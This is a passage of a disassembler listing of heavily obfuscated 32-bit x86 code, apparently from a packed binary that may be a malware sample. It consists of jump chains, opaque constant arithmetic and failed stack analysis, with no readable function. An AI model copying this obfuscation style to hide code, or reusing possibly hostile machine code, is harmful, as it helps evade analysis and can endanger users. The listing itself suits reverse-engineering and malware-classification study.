; FUNCTION CHUNK AT 0044AD3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E8F2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044EFF5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044FD5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FF31 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00450FDC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00451CDE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00452A22 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004532A2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004535A1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00453734 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004537F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004547AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456768 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00457144 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0045749D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458F25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A28B SIZE 00000023 BYTES

		mov	ebx, edx
		pop	edx
		pushf
		push	7E02FF51h
		pop	eax
		jmp	loc_448168
sub_44646F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_44647E:				; CODE XREF: sub_441DDA-29BDj
		jns	loc_443B0F
		add	ebp, esi
		xor	edx, 0D21D9162h
; END OF FUNCTION CHUNK	FOR sub_441DDA

; =============== S U B	R O U T	I N E =======================================



sub_44648C	proc near		; CODE XREF: sub_441DDA:loc_4462B0j

; FUNCTION CHUNK AT 0043E0FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F36F SIZE 00000012 BYTES

		push	ebx
		push	678FBF66h
		jmp	loc_43E0FE
sub_44648C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:dword_41D188
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89D

loc_44649D:				; CODE XREF: sub_43B89D+E348j
		jmp	loc_43F594
; END OF FUNCTION CHUNK	FOR sub_43B89D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418CF

loc_4464A2:				; CODE XREF: sub_4418CF+9j
		jmp	loc_44F514
; END OF FUNCTION CHUNK	FOR sub_4418CF
; ---------------------------------------------------------------------------

loc_4464A7:				; CODE XREF: dviuq5id:0043CDC0j
		jmp	near ptr dword_43908C+8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_480. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		adc	dword ptr [edi-1Ah], 8B5A0000h
		add	al, 24h
		jmp	loc_446302
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442772

loc_4464BB:				; CODE XREF: sub_442772:loc_45719Dj
		call	sub_445437

loc_4464C0:				; DATA XREF: dviuq5id:loc_445004o
		push	9B373028h
		pop	ecx
		or	ecx, 738682A8h
		rol	ecx, 12h
		and	ecx, 224DF01h
		push	offset loc_4423DA
		jmp	loc_45A301
; END OF FUNCTION CHUNK	FOR sub_442772
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_4464E0:				; CODE XREF: sub_4492F0-2B66j
		jmp	loc_451327
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
		adc	ebp, 82E5F714h
		xor	edx, ecx
		jmp	sub_43A813
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_4561B8
		jmp	loc_455768
; ---------------------------------------------------------------------------

loc_4464FF:				; CODE XREF: dviuq5id:0043A80Ej
		add	eax, 1CDE43BBh
		push	offset sub_4489BA
		jmp	loc_45956F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_44650F:				; CODE XREF: sub_43CBD5:loc_457B8Ej
		jz	loc_43919C
		jmp	loc_45669C
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_44651A:				; CODE XREF: sub_454228-12037j
		jnz	loc_44D9FC
; END OF FUNCTION CHUNK	FOR sub_454228
; START	OF FUNCTION CHUNK FOR sub_4489E1

loc_446520:				; CODE XREF: sub_4489E1+10BCFj
		jmp	nullsub_377
; END OF FUNCTION CHUNK	FOR sub_4489E1
; ---------------------------------------------------------------------------
		adc	edi, 707CF361h
		jmp	loc_44D9F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C2A

loc_446530:				; CODE XREF: dviuq5id:loc_448F91j
					; sub_449C2A+13j
		jz	loc_439E9D
		jmp	loc_43F835
; END OF FUNCTION CHUNK	FOR sub_449C2A
; ---------------------------------------------------------------------------

loc_44653B:				; CODE XREF: dviuq5id:00454F2Cj
		jno	loc_440831
		rol	ebx, 1Dh

; =============== S U B	R O U T	I N E =======================================



sub_446544	proc near		; CODE XREF: sub_455658-186B2p

; FUNCTION CHUNK AT 00439DCB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B09A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B5FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BC72 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043CE58 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F13F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440536 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00440772 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00443254 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004460EF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449049 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BD84 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044C79A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00451387 SIZE 00000019 BYTES

		xchg	edx, [esp+0]
		pop	edx
		jmp	loc_443254
sub_446544	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44654D:				; CODE XREF: sub_43AE68+Ej
					; sub_440EC1+Cj ...
		push	edi
		mov	edi, ecx
		xchg	edi, [esp-8+arg_4]
		pushf
		push	0DF8F8A0Fh
		pop	ecx
		add	ecx, 0F20EAE54h
		sub	ecx, 0BDCE9B53h
		jmp	loc_457674
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_44656B:				; CODE XREF: dviuq5id:loc_450BDEj
		rol	esi, 4
		and	esi, 0F173ED31h
		add	esi, 0EF3F51DFh
		mov	[esi], eax
		pop	esi
		jmp	loc_4420C3
; ---------------------------------------------------------------------------

loc_446582:				; DATA XREF: sub_43FA59:loc_453812o
		push	0
		push	edx
		push	0DCB24784h
		pop	edx
		jmp	loc_446A77
; ---------------------------------------------------------------------------

loc_446590:				; CODE XREF: dviuq5id:0044121Ej
		jle	loc_43DEF1

; =============== S U B	R O U T	I N E =======================================



sub_446596	proc near		; CODE XREF: sub_439E0C:loc_444673p

; FUNCTION CHUNK AT 0043C17D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043E6FC SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44F9DC
		jmp	loc_43E6FC
sub_446596	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_4465AB:				; CODE XREF: sub_43FAE1:loc_455A50j
		pop	eax
		sub	eax, 345ABB0Bh
		push	offset loc_4402A9
		jmp	loc_4542F1
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------

locret_4465BC:				; CODE XREF: dviuq5id:0045357Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4465BD:				; CODE XREF: sub_439C09+F4B0j
		cmp	eax, 9289E74h
		jmp	loc_458E8C
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_4465C8:				; CODE XREF: sub_459490:loc_43E3F7j
					; sub_459490-BFAFj
		call	sub_456F43
		mov	edx, 7DA6ACC0h
		call	sub_449EB7
		push	eax
		jmp	loc_4549B6
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_4465DD:				; CODE XREF: sub_44BB53:loc_451904j
		jz	loc_451102
		jmp	loc_4419F0
; END OF FUNCTION CHUNK	FOR sub_44BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_4465E8:				; CODE XREF: sub_44AD42:loc_43A6AEj
		pop	ebx
		sub	edi, 0CCF131F5h
		and	edi, 5ED6D892h
		add	edi, 0E7819FCDh
		jmp	loc_45A055
; END OF FUNCTION CHUNK	FOR sub_44AD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_446600:				; CODE XREF: sub_456253:loc_44D361j
		jz	loc_44600D
		jmp	loc_43C7EA
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_44660B:				; CODE XREF: sub_44952D:loc_440DD9j
					; dviuq5id:loc_456AE8j
		jnz	loc_43C868
		jmp	loc_4504E5
; END OF FUNCTION CHUNK	FOR sub_44952D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_446616:				; CODE XREF: sub_44C4E2-1B52j
					; sub_440EC1:loc_4590B2j
		mov	eax, 1F56AC7Bh

loc_44661B:				; CODE XREF: sub_441DDA:loc_443B0Fj
		push	edi
		push	offset sub_452209
		jmp	loc_4521E4
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_446626:				; CODE XREF: sub_44E67F:loc_445E54j
		pop	ecx
		sub	eax, 88BB4660h
		mov	ds:dword_441C14, eax
; END OF FUNCTION CHUNK	FOR sub_44E67F
; START	OF FUNCTION CHUNK FOR sub_456253

loc_446633:				; CODE XREF: sub_456253-1529Ej
					; sub_456253:loc_455CC6j ...
		sub	eax, 7744B9A0h
		jmp	loc_452730
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------

loc_44663E:				; CODE XREF: dviuq5id:004519CCj
		pushf
		sub	edi, ecx

loc_446641:				; CODE XREF: dviuq5id:loc_4519C0j
		and	eax, 9D27B71Eh
		add	eax, 631DEEB3h
		xchg	eax, [esp]
		jmp	loc_44DEFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D767

loc_446655:				; CODE XREF: sub_43D767+18C04j
		pop	eax
		or	ecx, 0A8A85180h
		xor	ecx, 89D450BBh
		and	ecx, 0E95BD61Bh
		xor	ecx, 2B453785h
		add	ecx, 0B52532E6h
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_44608D
; END OF FUNCTION CHUNK	FOR sub_43D767
; ---------------------------------------------------------------------------
		push	edi
		jmp	loc_45520D

; =============== S U B	R O U T	I N E =======================================



sub_446682	proc near		; CODE XREF: dviuq5id:0043D40Dj
					; sub_44C528:loc_43F12Ep

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A5C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B823 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0043B91B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D3C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D49C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043E2C0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043F952 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043FC3D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043FFFF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004401A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004405D5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00442B99 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D28 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044477B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00445739 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00446E0D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447C00 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447CEB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448145 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A37F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044AA5A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044E5B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FB8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451212 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00452351 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452DCC SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00452FD4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00454999 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455E64 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00456387 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00457AE1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00458578 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00458F97 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0045A30B SIZE 00000005 BYTES

		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		jno	loc_455E64
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_43B91B
sub_446682	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_446698:				; CODE XREF: dviuq5id:0045658Cj
		sub	ecx, 0BE2EEBBFh
		xor	ecx, 0D4EAA041h
		add	ecx, 2C982285h
		mov	[ecx], eax
		call	sub_457F2B
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_4466B1:				; CODE XREF: sub_44EAC4-C918j
		jmp	loc_445242
; END OF FUNCTION CHUNK	FOR sub_44EAC4

; =============== S U B	R O U T	I N E =======================================



sub_4466B6	proc near		; DATA XREF: sub_441C84:loc_43C4EFo

; FUNCTION CHUNK AT 0043A273 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F4B3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DA17 SIZE 00000008 BYTES

		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44DA17
		jmp	loc_43A273
sub_4466B6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B05

loc_4466C7:				; CODE XREF: sub_441B05+Dj
		push	0D3808709h
		pop	ebx
		add	ebx, 8C578EBDh
		or	ebx, 10663780h
		jmp	loc_45682A
; END OF FUNCTION CHUNK	FOR sub_441B05
; ---------------------------------------------------------------------------

loc_4466DE:				; CODE XREF: dviuq5id:00445432j
		jnz	loc_43C6E5
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_4466E4:				; CODE XREF: sub_43F4F8+CEDEj
		jmp	loc_451B2B
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------
		jg	loc_453A31
		mov	eax, [esi]
		jmp	loc_43C6DF
; ---------------------------------------------------------------------------

loc_4466F6:				; CODE XREF: dviuq5id:loc_43F375j
		pop	ecx
		push	edi
		push	6B732C41h
		pop	edi
		jmp	loc_44E28F
; ---------------------------------------------------------------------------

loc_446703:				; DATA XREF: sub_43FDFB+13920o
		push	9B502E4Dh
		pop	esi
		add	esi, 0DD5B224Ah
		rol	esi, 1
		test	esi, 10000h
		jmp	loc_4517C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A4C9

loc_44671C:				; CODE XREF: sub_45A4C9-18F0Fj
		sbb	esi, ecx
		jnp	loc_452C05
		jnz	loc_449084
		xchg	edx, ebx
		jmp	loc_457190
; END OF FUNCTION CHUNK	FOR sub_45A4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_446731:				; CODE XREF: sub_44E1C0-10603j
		or	edx, 0CB95BC96h
		mov	ebp, [ebx]

loc_446739:				; CODE XREF: sub_44E1C0:loc_43C0F6j
					; dviuq5id:00442422j ...
		jmp	loc_447C52
; ---------------------------------------------------------------------------

loc_44673E:				; CODE XREF: sub_44E1C0+D2Fj
					; dviuq5id:00459406j
		pop	ecx
		pop	ebp
		jmp	loc_457EE8
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457574

loc_446745:				; CODE XREF: sub_457574-1B8Cj
		xchg	ebx, [ebp+0]

loc_446748:				; CODE XREF: sub_457574:loc_450B66j
		mov	eax, 0CF0182F6h
		call	sub_453642
		rol	eax, 0Ch
		push	offset loc_45802A
		jmp	loc_43CAC5
; END OF FUNCTION CHUNK	FOR sub_457574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_44675F:				; CODE XREF: sub_441DDA:loc_441DE8j
		pop	ebp
		sub	eax, 0F1123447h
		add	eax, 0E28D71DAh
		test	eax, 40000000h
		jmp	loc_441FE8
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_446777:				; CODE XREF: sub_4492F0:loc_456680j
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		push	edi
		push	0B64C0996h
		pop	edi
		sub	edi, 427A23A8h
		jmp	loc_4464E0
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44678F:				; CODE XREF: sub_439C09+656Cj
		test	ebp, edx
		jmp	loc_44EA7E
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441881

loc_446796:				; CODE XREF: sub_441881:loc_44FA34j
		push	esi
		pushf
		push	0CA0A6C1h
		pop	esi
		jmp	loc_43F294
; END OF FUNCTION CHUNK	FOR sub_441881
; ---------------------------------------------------------------------------
		sub	edi, 0C32E0B38h
		jmp	loc_458C68

; =============== S U B	R O U T	I N E =======================================



sub_4467AE	proc near		; CODE XREF: sub_44BC5E+Bp
					; dviuq5id:00450B91j

; FUNCTION CHUNK AT 00457C06 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_457C06
sub_4467AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4467BA:				; CODE XREF: dviuq5id:0045A5AEj
		mov	eax, [esp]
		jmp	loc_44A730
; ---------------------------------------------------------------------------

loc_4467C2:				; CODE XREF: dviuq5id:00446B03j
		xchg	ecx, [edi]

loc_4467C4:				; CODE XREF: dviuq5id:loc_446AE8j
		rol	edx, 0Eh
		add	edx, 184469D7h
		xchg	edx, [esp]
		jmp	loc_443E57
; ---------------------------------------------------------------------------
		push	0EFC35254h
		jmp	loc_439B8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458964

loc_4467DF:				; CODE XREF: sub_458964+1Dj
		add	edi, 778674D7h
		xchg	edi, [esp+4+var_4]
		jmp	loc_43ADAD
; END OF FUNCTION CHUNK	FOR sub_458964
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_4467ED:				; CODE XREF: sub_43C3D8:loc_43FD5Fj
		ja	loc_43B926

loc_4467F3:				; CODE XREF: dviuq5id:0043FD4Dj
		cmp	dword ptr [ebp-8], 0A22F8A70h
		jz	loc_44E3AE
		mov	eax, [ebp-0Ch]
		call	sub_44E3BA
		jmp	loc_44E3AE
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA15

loc_44680E:				; CODE XREF: sub_43DA15+11AB2j
		jmp	loc_44C0CB
; END OF FUNCTION CHUNK	FOR sub_43DA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_446813:				; CODE XREF: sub_450519-247Fj
		jmp	nullsub_121
; END OF FUNCTION CHUNK	FOR sub_450519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_446818:				; CODE XREF: sub_43EB11+6A7Ej
		jmp	loc_457B3B
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
		mov	eax, [ebp+0]
		jmp	loc_43E55B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452BBF

loc_446825:				; CODE XREF: sub_452BBF+14j
		jb	loc_45A286
		xor	ebx, 3DA5BBE3h

loc_446831:				; CODE XREF: sub_4393C3:loc_44C0B0j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43E608
		jmp	loc_455ED0
; END OF FUNCTION CHUNK	FOR sub_452BBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_446842:				; CODE XREF: sub_445498:loc_4560F3j
		ror	edx, 13h
		shr	ecx, 0Ch
		cdq
		and	esi, eax

loc_44684B:				; CODE XREF: dviuq5id:00448EF0j
		jmp	loc_451500
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_446851:				; CODE XREF: dviuq5id:0044301Ej
		jnz	loc_43F098
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_446857:				; CODE XREF: sub_441F76:loc_456A26j
		push	offset loc_440089
		jmp	nullsub_248
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446439

loc_446861:				; CODE XREF: sub_446439+9j
		mov	eax, [eax+0Ch]
		mov	eax, [eax+0Ch]
; END OF FUNCTION CHUNK	FOR sub_446439
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_446867:				; CODE XREF: sub_450217-157FEj
					; sub_43D181:loc_448290j
		jns	loc_4505CD
		mov	ebx, [eax+18h]
		jmp	loc_4405A8
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4558A5

loc_446875:				; CODE XREF: sub_4558A5+19j
		call	sub_448B0A
; END OF FUNCTION CHUNK	FOR sub_4558A5
; START	OF FUNCTION CHUNK FOR sub_43CC2A

loc_44687A:				; CODE XREF: sub_43CC2A+13j
		jmp	loc_447A4B
; END OF FUNCTION CHUNK	FOR sub_43CC2A
; ---------------------------------------------------------------------------

loc_44687F:				; CODE XREF: dviuq5id:00457538j
		push	6E24F569h

loc_446884:				; CODE XREF: dviuq5id:0043E228j
		pop	edi
		xor	edi, 0D11C10C4h
		rol	edi, 0Dh
		sub	edi, 9E536D40h
		add	edi, 81E2C45Bh
		jmp	loc_454CBD
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------
		mov	al, [edi-78FFFF9Ah]
		sbb	al, 24h
		pop	ebx
		test	eax, eax
		jz	loc_4513D8
		jmp	loc_43E636
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44279B

loc_4468B6:				; CODE XREF: sub_44279B:loc_44C951j
					; sub_44279B+A1C2j
		add	edx, 27E25B32h
		add	edx, ebp
		add	edx, 1CB995A2h
		mov	edx, [edx]
		call	sub_451FE0

loc_4468CB:				; CODE XREF: sub_44D148:loc_43A93Aj
		jnz	loc_43DC95

loc_4468D1:				; CODE XREF: sub_43ADFB+A97Fj
		jmp	loc_4396DF
; END OF FUNCTION CHUNK	FOR sub_44279B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_4468D6:				; CODE XREF: sub_4543C5-F474j
		jmp	loc_44EDB6
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------
		sub	eax, 0B7755D18h
		xor	edx, edi
		jmp	loc_43DC95
; ---------------------------------------------------------------------------

loc_4468E8:				; CODE XREF: dviuq5id:loc_449BB4j
		xchg	ebx, [esp]
		jmp	loc_453D62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451F61

loc_4468F0:				; CODE XREF: sub_451F61:loc_451013j
		mov	ebp, eax
		xchg	ebp, [esp+0]

loc_4468F5:				; CODE XREF: sub_449B7F-F17j
		jmp	loc_453152
; END OF FUNCTION CHUNK	FOR sub_451F61
; ---------------------------------------------------------------------------

loc_4468FA:				; CODE XREF: dviuq5id:loc_443B8Dj
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_4468FB:				; CODE XREF: sub_4492F0+8594j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_453B41
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------

loc_446906:				; DATA XREF: sub_43C9A9:loc_44A9AAo
		push	591FDFB8h
		pop	eax
		or	eax, 0A41EA2AFh
		xor	eax, 0B0A11A61h
		jmp	loc_43D100
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_364. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44691F:				; CODE XREF: dviuq5id:0044C268j
		jmp	loc_443729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_446924:				; CODE XREF: sub_43FDFB-44F0j
		jmp	loc_455927
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_446929:				; CODE XREF: sub_439E87+18BBj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_44E1FD
		jmp	loc_45505C
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
		push	510C7698h
		pop	edx
		and	edx, 6D53F0EBh
		add	edx, 9D6C84F8h

loc_44694D:				; CODE XREF: dviuq5id:loc_45221Fj
		call	sub_449EB7
		jmp	loc_44E457
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_446957:				; CODE XREF: sub_44460F-87F4j
					; sub_44460F:loc_45477Bj
		call	sub_459804

loc_44695C:				; CODE XREF: dviuq5id:004524A6j
		and	eax, 0E8FDEEA7h
		jmp	loc_4469E5
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------

locret_446967:				; CODE XREF: dviuq5id:loc_4492ABj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452975

loc_446968:				; CODE XREF: sub_452975+10j
		jmp	nullsub_184
; END OF FUNCTION CHUNK	FOR sub_452975
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44696D:				; CODE XREF: sub_439013:loc_448F23j
		push	87D70FE2h
		pop	edx
		add	edx, 90ECAD22h
		and	edx, 0BB1E285Dh
		cmp	edx, 1CA99FF4h
		jmp	loc_448D93
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E1A

loc_44698A:				; CODE XREF: sub_444E1A:loc_43AF52j
					; dviuq5id:loc_440978j
		rol	eax, 12h
		add	eax, 82D9CB7Ah
		popf
		xchg	eax, [esp+0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_444E1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574E7

loc_44699C:				; CODE XREF: sub_4574E7-9C54j
		add	esi, 49E7DF49h
		add	ebp, 0F5093EC3h
		jmp	loc_446DE2
; END OF FUNCTION CHUNK	FOR sub_4574E7
; ---------------------------------------------------------------------------

loc_4469AD:				; CODE XREF: dviuq5id:0044938Cj
		jl	loc_44830C
		sub	ecx, 0D32BEF97h
		cmp	esi, 0CC6BE107h
		jmp	loc_441639
; ---------------------------------------------------------------------------

loc_4469C4:				; CODE XREF: dviuq5id:loc_44DE88j
		jz	loc_444BAF
		jmp	loc_454994
; ---------------------------------------------------------------------------

loc_4469CF:				; CODE XREF: dviuq5id:00457396j
		jns	near ptr byte_43CA58+1
		mov	edx, 6D18CCA9h
; START	OF FUNCTION CHUNK FOR sub_445498

loc_4469DA:				; CODE XREF: sub_445498:loc_4556B9j
		and	edi, 87C55472h
		call	sub_4478F7

loc_4469E5:				; CODE XREF: sub_44460F+2353j
		ror	eax, 8
		or	ebx, edi
		not	eax

loc_4469EC:				; CODE XREF: dviuq5id:loc_4524A0j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_4469EF:				; CODE XREF: sub_44EAC4+B394j
		jmp	sub_453642
